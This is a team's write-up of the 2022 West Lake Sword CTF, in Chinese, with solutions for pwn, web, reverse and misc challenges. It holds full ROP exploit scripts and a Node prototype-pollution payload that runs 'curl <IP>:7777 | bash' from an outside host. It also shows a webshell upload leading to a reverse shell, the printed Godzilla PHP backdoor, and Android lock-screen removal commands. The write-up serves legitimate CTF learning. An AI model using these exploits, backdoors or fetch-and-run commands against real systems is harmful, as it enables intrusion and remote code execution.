2022西湖论剑网络安全大赛 wp by F61d

WriteUp 2年前 (2023) admin

912 0 0

Part1排名和解题一览

Pwn:babycalc,Message Board

Web:real_ez_node,扭转乾坤,unusual php,Node Magical

Reverse: BabyRE

Misc:签到题,mp3,机你太美,take_the_zip_easy

2022西湖论剑网络安全大赛 wp by F61d — 在各位师傅的努力下， F61d拿到了第17名的成绩~

Part2PWN

1babycalc

angr先跑个key出来

利用溢出控制i然后修改返回地址，因为没有覆盖rbp所以将返回地址改成leave ret，一定概率上可以让程序执行流返回到输入的某个位置，在缓冲区内布置泄露libc、读新rop链到bss段上、修改rbp和leave ret的rop链即可。

from pwn import *
from ctypes import *
import struct
#context.log_level = 'debug'
#io=process(["./qemu-arm-static", "-g", "1234", "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io=process(["qemu-arm",  "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io = process('./pwn')
#io=gdb.debug('./pwn','b*0x4013ba')
context.arch='amd64'
elf=ELF('./pwn')
#io = remote('tcp.cloud.dasctf.com', 21963)
libc = ELF('./libc-2.23.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s            : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'x00'))
uu64 = lambda data        : u64(data.ljust(8, b'x00'))
rbp_ret=0x00000000004006b0
def csu(text,edi, rsi, rdx, rip):
    payload  = b""
    payload += p64(0x400c40+ 90)
    payload += p64(0) # rbx
    payload += p64(1) #rbp
    payload += p64(rip) #r12
    payload += p64(rdx) #r13
    payload += p64(rsi) #r14
    payload += p64(edi) #r15
    payload += p64(0x400c40 + 64)
    payload += p64(0)*7
    return payload


leave_ret=0x0000000000400bb7
bss=0x602500
ret=0x00000000004005b9
while True:
    #io = process('./pwn')
    #gdb.attach(io,'b*0x400bb7')
    io = remote('tcp.cloud.dasctf.com', 21963)
    key=b'x13$5F7Bx11xa12x83xd4evxc7x18x03'

    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    rdi_ret=0x0000000000400ca3
    rop_chain=p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+csu(0,0,bss+8,0x50,elf.got['read'])+p64(rbp_ret)+p64(bss)+p64(leave_ret)
    payload=(str(0x18)+'x00').ljust(0x28,'a')+rop_chain
    payload=payload.ljust(0xd0,'x00')+key
    payload=payload.ljust(0xf8,'x00')+p32(0x38)*2
    sa("number",payload) 
    ru("good donen")
    try:
        libcbase=u64(io.recv(6).ljust(8,'x00'))-libc.sym['puts']
        lg("libcbase")
        #gdb.attach(io,'b*0x0000000000400ca3')
        system=libcbase+libc.sym['system']
        binsh=libcbase+libc.search('/bin/shx00').next()
        payload=p64(rdi_ret)+p64(binsh)+p64(ret)+p64(system)
        io.sendline(payload)
        irt()
    except:
        io.close()

2Message Board

泄露栈地址后栈迁移，orw

from pwn import *

#p = process('./pwn')
p=remote('tcp.cloud.dasctf.com',27941)
libc=ELF('./libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
#gdb.attach(p,'b* 0x4013A2')
leaveret=0x4013A2
sla('name:','%p%31$p')
ru('Hello, 0x')
stack=int(p.recv(12),16)
info('stack->'+hex(stack))
ru('0x')
libcbase=int(p.recv(12),16)-0x24083
info('libc->'+hex(libcbase))
poprdi=libcbase+libc.search(asm("pop rdi;ret")).next()
poprsi=libcbase+libc.search(asm("pop rsi;ret")).next()
poprax=libcbase+libc.search(asm("pop rax;ret")).next()
poprdx=libcbase+libc.search(asm("pop rdx;ret")).next()
syscall=libcbase+libc.search(asm("syscall;ret")).next()
open=libcbase+libc.sym['open']
poprdx=libcbase+0x0000000000142c92
write=libcbase+libc.sym['write']
read=libcbase+libc.sym['read']
payload='a'*8+p64(poprdi)+p64(stack+0x90)+p64(poprsi)+p64(0)+p64(open)
payload+=p64(poprdi)+p64(3)+p64(poprsi)+p64(stack)+p64(poprdx)+p64(0x50)+p64(read)+p64(poprdi)+p64(1)+p64(write)+'flagx00x00x00x00'
sla('DASCTF:',payload.ljust(0xb0,'x00')+p64(stack+0x10)+p64(leaveret))
p.interactive()

Part3WEB

3real_ez_node

py脚本：

import requests
import urllib.parse

payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 3000.endpoint-ad87bdfd965445549ec2213aaed2ee11.m.ins.cloud.dasctf.com:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

constructor.prototype.outputFunctionName=a%3D1%3B%20return%20global.process.mainModule.constructor._load('child_process').execSync('curl 120.48.91.102:7777 | bash')%3B%20%2F%2F

GET / HTTP/1.1
test:'''.replace("n", "rn")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))
    return ret

payload_end = payload_encode(payload)
print(payload_end)
r = requests.get('http://3000.endpoint-ad87bdfd965445549ec2213aaed2ee11.m.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payload_end))
print(r.text)

加密和脚本参考链接：[GYCTF2020]Node Game

https://blog.csdn.net/weixin_46081055/article/details/119982707

4扭转乾坤

大小写绕过 Content-Type

5unusual php

code:

<?php
if($_GET["a"]=="upload"){
    move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
    echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
    phpinfo();
}

Phpinfo:

extension_dir
/usr/local/lib/php/extensions/no-debug-non-zts-20190902
/usr/local/lib/php/extensions/no-debug-non-zts-20190902

插件名:zend-test 所以读zend_test.so

?a=read&file=php://filter/read=convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

逆向可以得知其对编译过程中使用RC4来加密然后秘钥是abcsdfadfjiweur

先用RC4加密一句话木马，然后用BASE64加密一下。

最后利用Python脚本文件上传

import base64
import requests
 
url = 'http://80.endpoint-f532dd899a95423a9da93c320d96203f.m.ins.cloud.dasctf.com:81/?a=upload'
#st = "473xeG4wtlxIPuzM0Zi46bl2MAt6rc4g/puO1N6uKMor9D6bGuJ0E+OGMIpQcIHoJyPV/W7zr5MNMEDUDkCslc2fgzkOTgFGjjeSbzmMBZpdY7MhAtH6tQRCb3TzGMHZY1dnGPCovFrL5NT9Wse7ILNwkN1sEk51koKOXcIcAlmFhd3bSL8R5+5irXmbEH1SdiyPdQr5L9DBGMBGCYUwY6qsOcn9RE0b1p+/LcVxji+/PKrmCG52YnFTJfezjzi681DqjQUq9RrN3w9IQV8tkfVzzV7UrN4TfDSHZDHeofjBMNs/Cn0e8lnga6Kw5nOuO2BKkByRyWvjrzT1sMGavQuxPMcNkNqklOhc+JqRn9gDGLmWp7hHwcBj8xoes1SSyY/t/RPrmK/wOqmfONvjVpy73UIQ1g=="
st = "473xeG4dyE1SLeHNkNuP2qNEAkB86Igo1dPH"
files = {'file': ("2.php",base64.b64decode(st) )}     

response = requests.post(url, files=files)
json = response.text
print(json)

然后访问upload/2.php反弹shell

随后提权就行了

6Node Magical

在flag1路由下首先设置cookie字段为user=admin，就可以得到第一段flag

然后在flag2路由下抓包，修改json，利用数组引发toLowerCase函数报错，注意的是数组中的值要有16个，然后可以拿到前面一段flag。

Part4REVERSE

7BabyRE

先base8 确定了第7位到第42位，直接解即可得915572239428449843076691286116796614

再是一个魔改过的sha1

爆破得到前6位 561516

然后再以输入的43到48作为rc4的key进行加密

爆破key

cmp = b'?x95xbbxf2Wxf1zZ"aQCxa2xfax9boDcxc0x08x12e\x8ax8cLxed^xcavxb9x85xafx058xedB>Bxdf]xbex05x8b5mxf3x1cxcfxf8js%xe4xb7xb96xfbx02x11xa0xf0Wxab!xc6xc7Fx99xbdx1ea^xeeUx18xeex03)x84x7fx94_xb4j)xd8lxe4xc0x9dkxccxd5x94\xddxccxd5=xc0xefx0c)xe5xb0x93xf1xb3xdexb0p'
from Crypto.Cipher import ARC4
t1 = b'1523306115230466162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464'

for data in tqdm(product('0123456789',repeat=6)):
    key = ''.join(data)
    rc4 = ARC4.new(key.encode())

    res = rc4.encrypt(t1)
    # print(res)
    if res == cmp:
        print("found " ,key)

得到最后6位 807391

Part5Misc:

8签到题喵:

看jpg文件尾部有一些内容感觉是换编码 View->Character Set->UTF-8

欢迎~DASCTF{W3lc0m3_t0_GCSIS_2023}~只需要提交括号内的字符串即可

9mp3:

MP3Stego 空密码拿到数据

8750d5109208213f

foremost分离出一张图片

黑白是10,用脚本提取

 from PIL import Image
import requests
import threading

def getPngPix(pngPath = "aa.png",pixelX = 1,pixelY = 1):
    img_src = Image.open(pngPath)
    img_src = img_src.convert('RGBA')
    str_strlist = img_src.load()
    data = str_strlist[pixelX,pixelY]
    img_src.close()
    return data

img=Image.open("00000646.png")
print(img.width)
print(img.height)
for i in range (0,53):
    for j in range(64):
        a = getPngPix("00000646.png",j,i)
        if a[1]==255:
            print(1,end="")
        if a[1]== 0 :
            print(0,end="")
    print()

结果

0101000001001011000000110000010000010100000000000000000100000000
0000100000000000100110000100110110011001010101000000111011000011
0100010000101110000101100000000100000000000000001000011100000011
0000000000000000000001100000000000000000000000000011010000110111
0010111001110100011110000111010010010001100001110011111011111111
1011111010101100111000010101000010101100001011000011101101010010
1010100101111110110000101000010110000000010010000100110011000000
1101011101010110010111100110011100010000100011111000110011010000
1111011101000011001010001010111110011001111010001001100111011110
0000111110101101111100100010000011010010111101001010100001001101
0010010001110101100000111111111011001111001000100100100011011000
0001011111011010100111011001011011101000000111101110111000001110
0101000101011000100000001100010100011010101000010100110011010011
1000011001001001010010010010001001011110011110100011110100011010
1100000100000101011100011001001111100010010101110100101011001010
1001001110110011100101010000001011101001100110011111100010001110
1110100110010100001110011001101010001110011111001101101111011000
0111010011011101101110110000011111010110011110111000001010101111
0011000101000010011011110110110111111001001111001010010100010001
1111000010001101000110001111100111100110001011010001101110101100
0000110110010000100111010001000010001001110100000010011011001111
1000010110010100110111010100010100001011001111111011011000011111
0000010011000101011111001000111000010111100011100101011001110001
0001001111100000000101101000010101000010100100101000110001101110
1101001111100100011000111101101100100110100111001111111001010001
1100001000101110010001000001000110011001000101100010011010100100
0000110101011111100010000000100111001010001111111011001110101001
1001101001111010110010010000100101000001100011010101011111100001
1110010100111110011101110110011001101111111000001011000001001010
0111000111001111000001110001010111111110000110111100011100110100
1010011100010110110101110111001000100011110100001101110010100110
1110111011001011011100100111000001111100010101111011010000001010
0111100011100010110000010101110110100000010111001100000011000101
0011110000011110001011011101100010011101110101000001001101000110
1111100001101011000011001111111101101011000001111101100011001110
0001111111101100111100111001110010011110011110111001111101010010
1100100010010110000010000000110101001010011100011100100001000100
1011101101101110000101111101010001101000111001110000101111000100
1001000101101000101011010101110001111100110110011100110111101010
1000111000001101010100000100101100000001000000100011111100000000
0001010000000000000000010000000000001000000000001001100001001101
1001100101010100000011101100001101000100001011100001011000000001
0000000000000000100001110000001100000000000000000000011000000000
0010010000000000000000000000000000000000000000000000000000000000
0010000000000000000000000000000000000000000000000000000000000000
0011010000110111001011100111010001111000011101000000101000000000
0010000000000000000000000000000000000000000000000000000100000000
0001100000000000001100111011011101010110000010110100011001011000
1101100000000001001100111011011101010110000010110100011001011000
1101100000000001110010110101010010111011010110000100010001011000
1101100000000001010100000100101100000101000001100000000000000000
0000000000000000000000010000000000000001000000000101100000000000
0000000000000000001110100000000100000000000000000000000000000000

frombinary后拿到压缩包输入上文get到的密码8750d5109208213f解压拿到47.txt

2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

由于文件名是47 所以能想到rot47,rot47解码

a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\"+a.__a+a.aa_+a._a_+a.__+"(\"\"+a.__a+a.___+a.a__+"\"+a.__a+a.___+a.__a+"\"+a.__a+a._a_+a._aa+"\"+a.__a+a.___+a._aa+"\"+a.__a+a._a_+a.a__+"\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\"\"+a.a__+a.___+");"+""")())();

直接浏览器运行拿到flag

DASCTF{f8097257d699d7fdba7e97a15c4f94b4}

10机你太美:

下载发现是npbk文件 –> 使用夜神模拟器导入然后分析

需要解决的第一个问题是如何进入锁屏

搜索可以得知可以删除一些文件以及通过第一个hint:adbshell得知可以使用adb shell来完成这项工作参考–> http://www.360doc.com/content/12/0121/07/37846289_1012985425.shtml

rm /data/system/locksettings.db
rm /data/system/locksettings.db-shm
rm /data/system/locksettings.db-wal
rm /data/system/gatekeeper.password.key
rm /data/system/gatekeeper.pattern.key

重启后进入系统,然后可以观察到一款加密聊天软件Skred 可以通过其中观察到一些聊天信息

聊天信息:

可以看到其搞了一堆压缩包和两张图.下一步的目标我们可以通过adb pull对其进行提取/data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0

d2q:/data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0 # ls
19.zip 21.zip 23.zip 25.zip 27.zip 29.zip 31.zip 41.png 75.jpg
20.zip 22.zip 24.zip 26.zip 28.zip 30.zip 32.zip 50.zip
d2q:/data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0 #

提取后可以得到这些文件

然后主要是png和jpg文件

41.png的通道alpha 2存在数据

由于其图像是RGBA 可通过img.mode探测得到.可以通过选取其像素的第四,透明度来进行脚本的提取

统计了一下我们发现其存在大量的Alpha值为255比较符合上文中的白也就是透明

from PIL import Image

img=Image.open("41.png")
print(img.mode) #RGBA
print(img.width)
print(img.height)
for m in range(img.width):
    for n in range(img.height):
        pxl = img.getpixel((m,n))
        print(pxl)

透明代表1,其他的即为不透明也就是上文的黑代表0 写出脚本即可将上面图片的那些黑点以二进制形式提取出来

from PIL import Image

img=Image.open("41.png")
print(img.mode) #RGBA
print(img.width)
print(img.height)
for m in range(img.width):
    for n in range(img.height):
        pxl = img.getpixel((m,n))
        if(pxl[3] == 255):
            print(1,end='')
        else:
            print(0,end='')

0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001

From binary可以得到

e01544a9333ef62a3aa27357eb52ea8a

然后可以通过这个密码解开50.zip的压缩包

得到flag 但是还是乱码的状态检索第二张图

75.jpg的Exif信息存在comment

ExifTool Version Number         : 11.88
File Name                       : 75.jpg
Directory                       : .
File Size                       : 2.4 MB
File Modification Date/Time     : 2023:02:02 00:24:03-08:00
File Access Date/Time           : 2023:02:02 02:54:43-08:00
File Inode Change Date/Time     : 2023:02:02 02:54:43-08:00
File Permissions                : rw-------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Co-sited
Exposure Time                   : 1/250
F Number                        : 4.0
Exposure Program                : Aperture-priority AE
ISO                             : 200
Exif Version                    : 0221
Components Configuration        : Y, Cb, Cr, -
Shutter Speed Value             : 1/250
Aperture Value                  : 4.0
Exposure Compensation           : 0
Metering Mode                   : Multi-segment
Flash                           : Off, Did not fire
Focal Length                    : 50.0 mm
User Comment                    : XOR DASCTF2022
Sub Sec Time                    : 39
Sub Sec Time Original           : 39
Sub Sec Time Digitized          : 39
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 3888
Exif Image Height               : 2592
Interoperability Index          : R98 - DCF basic file (sRGB)
Interoperability Version        : 0100
Focal Plane X Resolution        : 4438.356164
Focal Plane Y Resolution        : 4445.969125
Focal Plane Resolution Unit     : inches
Custom Rendered                 : Normal
Exposure Mode                   : Auto
White Balance                   : Auto
Scene Capture Type              : Standard
Compression                     : JPEG (old-style)
Thumbnail Offset                : 8412
Thumbnail Length                : 19629
Image Width                     : 3888
Image Height                    : 2592
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:2 (2 1)
Aperture                        : 4.0
Image Size                      : 3888x2592
Megapixels                      : 10.1
Scale Factor To 35 mm Equivalent: 1.6
Shutter Speed                   : 1/250
Thumbnail Image                 : (Binary data 19629 bytes, use -b option to extract)
Circle Of Confusion             : 0.019 mm
Field Of View                   : 25.1 deg
Focal Length                    : 50.0 mm (35 mm equivalent: 80.9 mm)
Hyperfocal Distance             : 33.67 m
Light Value                     : 11.0

可以看到User Comment : XOR DASCTF2022

将乱码的flagxorDASCTF2022即得flag

DASCTF{fe089fecf73daa9dcba9bc385df54605}

11take_the_zip_easy

https://github.com/kimci86/bkcrack

bkcrack明文攻击 key为 2b7d78f3 0ebcabad a069728c

然后提取出dasflow.zip

解压后打开流量包，发现存在flag.zip，提取出来后发现需要密码

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

------WebKitFormBoundaryYfuJPXz4uXR4mXZI
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryYfuJPXz4uXR4mXZI--

https://blog.csdn.net/u011250160/article/details/120501033?ops_request_misc=&request_id=&biz_id=102&utm_term=%E5%93%A5%E6%96%AF%E6%8B%89%E6%B5%81%E9%87%8F%E8%A7%A3%E5%AF%86&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-120501033.nonecase&spm=1018.2226.3001.4187

哥斯拉流量解密，找一个解密脚本，然后改过来运行一下

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';

echo gzdecode(encode(base64_decode('J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3'),$key));

?>

解密得到

然后用airDAS1231qaSW@解压缩包，得到

DASCTF{7892a81d23580e4f3073494db431afc5}

Part6附件下载:

因为官方渠道尚不明确x所以（

本次比赛的附件可以到@Randark-JMT 橘墨师傅那去下载x：
https://github.com/Randark-JMT/CTF_Archive/releases/tag/2022-xhlj

Pwn和Web环境跟进中x：（可以的话点个小星星x）
https://github.com/CTF-Archives

（橘墨师傅记得给广告费x 晚上来探姬房间一趟就好（bushi）

原文始发于微信公众号（笨猪实验室）：2022西湖论剑网络安全大赛 wp by F61d

版权声明：admin 发表于 2023年2月3日下午10:18。
转载请注明：2022西湖论剑网络安全大赛 wp by F61d | CTF导航

【三等奖方案】基于人工智能的漏洞数据分类赛题「终于交上了」团队解题思路

admin

266

官方WP（一）｜“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛

admin

1,358

DASCTF｜2022DASCTF7月赋能赛官方Write Up

admin

2,648

HackTheBox Stocker WriteUp

admin

263

N第八届强网杯 writeup by Mini-Venom

admin

【二等奖方案】返乡发展人群预测「广东电信数营团队」团队思路

admin

暂无评论

您必须登录才能参与评论！

立即登录

暂无评论...

2022西湖论剑网络安全大赛 wp by F61d

Part1排名和解题一览

Part2PWN

1babycalc

2Message Board

Part3WEB

3real_ez_node

4扭转乾坤

5unusual php

6Node Magical

Part4REVERSE

7BabyRE

Part5Misc:

8签到题喵:

9mp3:

10机你太美:

11take_the_zip_easy

Part6附件下载:

2023西湖论剑web-writeup题解wp

Capture The Flag - CODEGATE 2022 Finals Blockchain Challenge Look It Up Writeup

相关文章

暂无评论

相关文章

2022西湖论剑 网络安全大赛 wp by F61d

Part1排名 和 解题一览

Part2PWN

1babycalc

2Message Board

Part3WEB

3real_ez_node

4扭转乾坤

5unusual php

6Node Magical

Part4REVERSE

7BabyRE

Part5Misc:

8签到题喵:

9mp3:

10机你太美:

11take_the_zip_easy

Part6附件下载:

2023西湖论剑web-writeup题解wp

Capture The Flag - CODEGATE 2022 Finals Blockchain Challenge Look It Up Writeup

相关文章

暂无评论

广告位

相关文章

2022西湖论剑网络安全大赛 wp by F61d

Part1排名和解题一览